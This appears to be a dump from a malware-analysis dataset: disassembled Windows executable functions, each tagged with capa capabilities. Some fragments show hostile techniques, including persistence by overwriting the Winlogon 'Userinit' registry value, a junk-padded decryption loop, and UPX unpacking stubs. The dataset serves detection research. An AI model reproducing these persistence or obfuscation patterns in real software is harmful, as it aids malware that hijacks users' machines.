joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406010
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x414ddb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x18]
push edi
lea ecx, [esi + 4]
mov dword [esi], 0x4042e4
call fcn.00406c71
push 4
mov dword [esp + 0x18], 0
call fcn.004079a7
mov edi, eax
add esp, 4
test edi, edi
je 0x406084
push ebx
call fcn.00406b49
mov dword [edi], eax
call fcn.00406908
push 0
lea ecx, [esp + 0x10]
mov ebx, eax
call fcn.00406c32
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x406078
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0xc]
call fcn.00406c5a
pop ebx
jmp 0x406086
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x408421
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x418510]
jne 0x40842b
repz ret
jmp fcn.0040c62c
Function at 0x410743
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x418510]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040a7e6
and dword [ebp - 0x14], 0
cmp dword [0x42bd10], 0
mov dword [ebp - 0x18], eax
jne 0x4107f6
push 0x4037ac
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41089e
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4037a0
push ebx
call edi
test eax, eax
je 0x41089e
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403790
push ebx
mov dword [0x42bd10], eax
call edi
push eax
call esi
push 0x40377c
push ebx
mov dword [0x42bd14], eax
call edi
push eax
call esi
push 0x403760
push ebx
mov dword [0x42bd18], eax
call edi
push eax
call esi
mov dword [0x42bd20], eax
test eax, eax
je 0x4107f6
push 0x403748
push ebx
call edi
push eax
call esi
mov dword [0x42bd1c], eax
mov eax, dword [0x42bd1c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41084f
cmp dword [0x42bd20], ecx
je 0x41084f
push eax
call esi
push dword [0x42bd20]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41084f
test ebx, ebx
je 0x41084f
call edi
test eax, eax
je 0x410846
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x410846
test byte [ebp - 8], 1
jne 0x41084f
or dword [ebp + 0x10], 0x200000
jmp 0x410882
mov eax, dword [0x42bd14]
cmp eax, dword [ebp - 0x18]
je 0x410882
push eax
call esi
test eax, eax
je 0x410882
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x410882
mov eax, dword [0x42bd18]
cmp eax, dword [ebp - 0x18]
je 0x410882
push eax
call esi
test eax, eax
je 0x410882
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42bd10]
call esi
test eax, eax
je 0x41089e
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4108a0
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408421
leave
ret
Function at 0x412ec0
Capabilities:
Delete directory
Get common file path
Manipulate console buffer

Disassembly:
mov eax, 0x100c
call fcn.004112b0
cmp dword [0x7afaac], 0x37
jne 0x412f5a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
push 0
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea ecx, [esp + 8]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
lea edx, [esp + 4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
lea eax, [esp + 0x810]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
mov ecx, dword [0x7b0aa0]
mov dword [esp], ecx
mov eax, 0x5d1
add dword [esp], eax
mov edx, dword [esp]
mov al, byte [edx + esi]
mov ecx, dword [0x430afc]
mov byte [ecx + esi], al
add esp, 0x100c
ret
Function at 0x4131e0
Capabilities:
Accept command line arguments
Enumerate files on windows
Manipulate console buffer
Move file

Disassembly:
mov eax, dword [0x7afaac]
sub esp, 0x974
push ebx
push ebp
push esi
mov esi, dword [0x430afc]
push edi
shr eax, 3
xor edi, edi
cmp eax, edi
jbe 0x4133df
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], eax
jmp 0x413216
mov esi, dword [esp + 0x20]
xor edi, edi
cmp dword [0x7afaac], 0x1c
jne 0x41322d
lea eax, [esp + 0x38]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov ecx, dword [esi + 4]
mov eax, dword [esi]
mov edx, dword [0x42ac50]
mov ebx, dword [0x42ac58]
mov ebp, dword [0x42ac5c]
mov dword [esp + 0x14], ecx
mov ecx, dword [0x42ac54]
mov dword [esp + 0x18], eax
mov esi, 0xc6ef3720
mov dword [esp + 0x30], edx
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x28], 0x20
jmp 0x413276
mov eax, dword [esp + 0x18]
xor edi, edi
mov edx, eax
shr edx, 5
add edx, ebp
mov ecx, eax
shl ecx, 4
mov dword [esp + 0x1c], edx
add ecx, ebx
lea edx, [esi + eax]
xor ecx, edx
mov dword [esp + 0x10], ecx
mov dword [0x7afa1c], edi
mov eax, dword [esp + 0x1c]
add dword [0x7afa1c], eax
mov eax, dword [0x7afa1c]
mov dword [esp + 0x34], eax
mov dword [esp + 0x1c], edi
mov eax, dword [esp + 0x34]
add dword [esp + 0x1c], eax
mov eax, dword [esp + 0x10]
xor eax, dword [esp + 0x1c]
mov dword [esp + 0x1c], eax
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x1c], ecx
mov eax, dword [esp + 0x1c]
sub dword [esp + 0x14], eax
mov edx, dword [esp + 0x14]
shl edx, 4
mov dword [esp + 0x10], edx
mov eax, dword [esp + 0x30]
add dword [esp + 0x10], eax
cmp dword [0x7afaac], 0x1be
mov eax, dword [esp + 0x14]
lea edi, [esi + eax]
jne 0x41330d
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov eax, dword [esp + 0x14]
shr eax, 5
add eax, dword [esp + 0x2c]
cmp dword [0x7afaac], 0x979
mov dword [0x7afa20], 0xff6b3619
mov dword [0x7afa24], 0xffffffff
mov dword [esp + 0x1c], eax
jne 0x413357
push 0
lea ecx, [esp + 0x184]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameW]
lea edx, [esp + 0x40]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
xor dword [esp + 0x10], edi
mov eax, dword [esp + 0x1c]
xor dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
sub dword [esp + 0x18], eax
mov eax, dword [0x7afaac]
cmp eax, 0x93
je 0x41337d
add esi, 0x61c88647
dec dword [esp + 0x28]
jne 0x413270
cmp eax, 0x8d4
jne 0x413394
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
mov dword [esi], eax
mov dword [esi + 4], ecx
cmp dword [0x7afaac], 0x17
jne 0x4133ce
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
lea edx, [esp + 0x40]
push edx
push 0x403f50
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
add esi, 8
dec dword [esp + 0x24]
mov dword [esp + 0x20], esi
jne 0x413210
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x974
ret
Function at 0x40b0c0
Capabilities:
Parse pe header

Disassembly:
mov ecx, dword [esp + 4]
cmp word [ecx], 0x5a4d
je 0x40b0ce
xor eax, eax
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x40b0cb
xor ecx, ecx
cmp word [eax + 0x18], 0x10b
sete cl
push ecx
pop eax
ret

Function at 0x40b0f0
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 4]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
test esi, esi
push edi
lea eax, [eax + ecx + 0x18]
jbe 0x40b12c
mov edi, dword [esp + 0x14]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x40b122
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x40b12e
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x40b112
xor eax, eax
pop edi
pop esi
pop ebx
ret
Function at 0x401000
Capabilities:
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x413004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x218]
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x4010ad
lea eax, [ebp - 0x214]
push eax
push 0x20106
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4010ad
lea ecx, [ebp - 0x20c]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401081
sub ecx, edx
lea eax, [ebp - 0x20c]
sar ecx, 1
push ecx
push eax
push 1
push 0
push str.Userinit
push dword [ebp - 0x214]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004010bd
mov esp, ebp
pop ebp
ret 0x10
Function at 0x406189
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x413004]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x4061d4
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.004063ab
test al, al
jne 0x4061ce
sub edx, 2
cmp edx, edi
jne 0x4061b4
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x4061f6
lea eax, [edi + 2]
cmp edx, eax
je 0x4061f6
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.004060d5
add esp, 0x10
jmp 0x4062f0
push esi
lea ecx, [ebp - 0x255]
call fcn.004063ab
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x406239
push dword [ebp - 0x25c]
jmp 0x4061e6
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x406276
cmp word [ebp - 0x226], 0
je 0x406297
cmp word [ebp - 0x226], ax
jne 0x406276
cmp word [ebp - 0x224], 0
je 0x406297
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.004060d5
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x4062e3
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x406250
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x4062cb
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x4062f0
push 0x405f05
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00408ec0
add esp, 0x10
jmp 0x4062c0
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004010bd
leave
ret

Function at 0x407d92
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x40ef44
push 0x40ef3c
push str.FlsAlloc
push 0x1e
call fcn.00407ccf
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407dc6
push dword [ebp + 8]
mov ecx, esi
call dword [0x40d114]
call esi
jmp 0x407dcc
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x407e10
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x40ef54
push 0x40ef4c
push str.FlsGetValue
push 0x20
call fcn.00407ccf
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407e47
push dword [ebp + 8]
mov ecx, esi
call dword [0x40d114]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x5839f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x123000]
push edi
or ebp, 0xffffffff
jmp 0x583a12
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x583a19
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x583a08
mov eax, 1
add ebx, ebx
jne 0x583a2b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x583a3c
jne 0x583a5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x583a5b
dec eax
add ebx, ebx
jne 0x583a48
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x583a20
add ebx, ebx
jne 0x583a57
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x583aad
xor ecx, ecx
sub eax, 3
jb 0x583a73
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x583ae2
sar eax, 1
mov ebp, eax
jmp 0x583a7e
add ebx, ebx
jne 0x583a7e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x583a4c
inc ecx
add ebx, ebx
jne 0x583a8c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x583a4c
add ebx, ebx
jne 0x583a99
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x583a8e
jne 0x583aaa
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x583a8e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x583acc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x583abe
jmp 0x583a0e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x583acc
add edi, ecx
jmp 0x583a0e
pop esi
lea edi, [esi + 0x181000]
mov eax, dword [edi]
or eax, eax
je 0x583b2b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x27fb4c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x27fbe0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x583ae9
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x27fbe8]
or eax, eax
je 0x583b25
mov dword [ebx], eax
add ebx, 4
jmp 0x583b06
call dword [esi + 0x27fbe4]
mov ebp, dword [esi + 0x27fbec]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x583b5f
sub esp, 0xffffff80
jmp 0x41fc45
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
xchg byte [edi - 0x61], ch
dec ebx
sub byte [ebp + 0x7a], cl
stosd dword es:[edi], eax
push edx
insb byte es:[edi], dx
and dl, byte [ecx]
pshufw mm1, mm0, 0x3c
aaa
adc cl, byte [ecx + 0x71a0820e]
insd dword es:[edi], dx
mov dh, byte [edi + 0x5db35aca]
mov bl, 0x5d
push 0x84b3fdb
aad 0x8e
fcom qword [edx + 0x2b]
and dword [edi + 0x1877b09c], 0x121c7955
dec ebx
or ch, dl
mov ds, esp
push edx
sub eax, dword [ecx + 0x77b09ca7]
sbb byte [ebp + 0x79], dl
sbb al, 0x12
sbb dword [eax - 0x25826635], eax
jecxz 0x403d82
xor eax, 0x85d4d46c
cmpsd dword [esi], dword es:[edi]
jns 0x403d7d
sbb al, 0xc2
aad 0xd1
movsd dword es:[edi], dword [esi]
shl byte [ecx - 0x2f53015], 1
mov eax, dword [ebp - 0x20ec58bd]
rcl dh, 1
sti
push eax
bnd jl 0x403de1
cmc
and byte [edx + 0x2ae66d15], dl
jl 0x403dc2
mov al, byte [ebx + 0x1ea16cdb]
outsd dx, dword [esi]
mov al, 0x30
cdq
sub al, 0x17
jp 0x403dd8
cmp ecx, ebp
enter 0xffffffffffff8020, 0xffffffffffffffe4
jbe 0x403d69
in al, 0x76
mov ss, word [eax - 0x597aa426]
nop
ficomp dword [ebx - 0x7b]
cmpsb byte [esi], byte es:[edi]
xlatb
push ss
xchg ebx, eax
fsub dword [edi + esi*8 - 0x33c1125f]
sbb dword [ecx], 0x16
mov bh, byte [ebp + 0x4f]
sub byte [esi + 0x1838f169], dl
invalid
Function at 0x4d0ce0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x8e000]
push edi
jmp 0x4d0cfa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4d0d01
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d0cf0
mov eax, 1
add ebx, ebx
jne 0x4d0d13
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4d0d24
jne 0x4d0d43
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d0d43
dec eax
add ebx, ebx
jne 0x4d0d30
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4d0d08
add ebx, ebx
jne 0x4d0d3f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4d0d95
xor ecx, ecx
sub eax, 3
jb 0x4d0d5b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4d0dca
sar eax, 1
mov ebp, eax
jmp 0x4d0d66
add ebx, ebx
jne 0x4d0d66
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d0d34
inc ecx
add ebx, ebx
jne 0x4d0d74
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d0d34
add ebx, ebx
jne 0x4d0d81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4d0d76
jne 0x4d0d92
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4d0d76
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4d0db4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4d0da6
jmp 0x4d0cf6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4d0db4
add edi, ecx
jmp 0x4d0cf6
pop esi
mov edi, esi
mov ecx, 0x377e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4d0dd2
cmp byte [edi], 0x11
jne 0x4d0dd2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4d0dd7
lea edi, [esi + 0xcc000]
mov eax, dword [edi]
or eax, eax
je 0x4d0e4f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xf1b10]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xf1c64]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4d0e04
mov ecx, edi
jns 0x4d0e33
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xf1c68]
or eax, eax
je 0x4d0e49
mov dword [ebx], eax
add ebx, 4
jmp 0x4d0e21
call dword [esi + 0xf1c78]
mov ebp, dword [esi + 0xf1c6c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4d0e83
sub esp, 0xffffff80
jmp 0x416310
Function at 0x5636e0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x639cfb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0062a0a8
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x563762
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00626f26
mov eax, dword [eax]
push 0x824f20
push eax
call fcn.00618004
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0062a333
test bl, bl
je 0x563762
push 0x824f20
lea ecx, [esp + 0xc]
call fcn.0062a6c3
push 0x824f2c
lea ecx, [esp + 0xc]
call fcn.0062a6c3
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x56379e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0062a333
jmp 0x563869
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x563822
lea edx, [esp + 0x7c]
push 0x824f28
push edx
call fcn.00618004
add esp, 8
test eax, eax
je 0x563822
lea eax, [esp + 0x7c]
push 0x824f24
push eax
call fcn.00618004
add esp, 8
test eax, eax
je 0x563822
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x5637b2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0062a333
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x564090
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x5640f2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc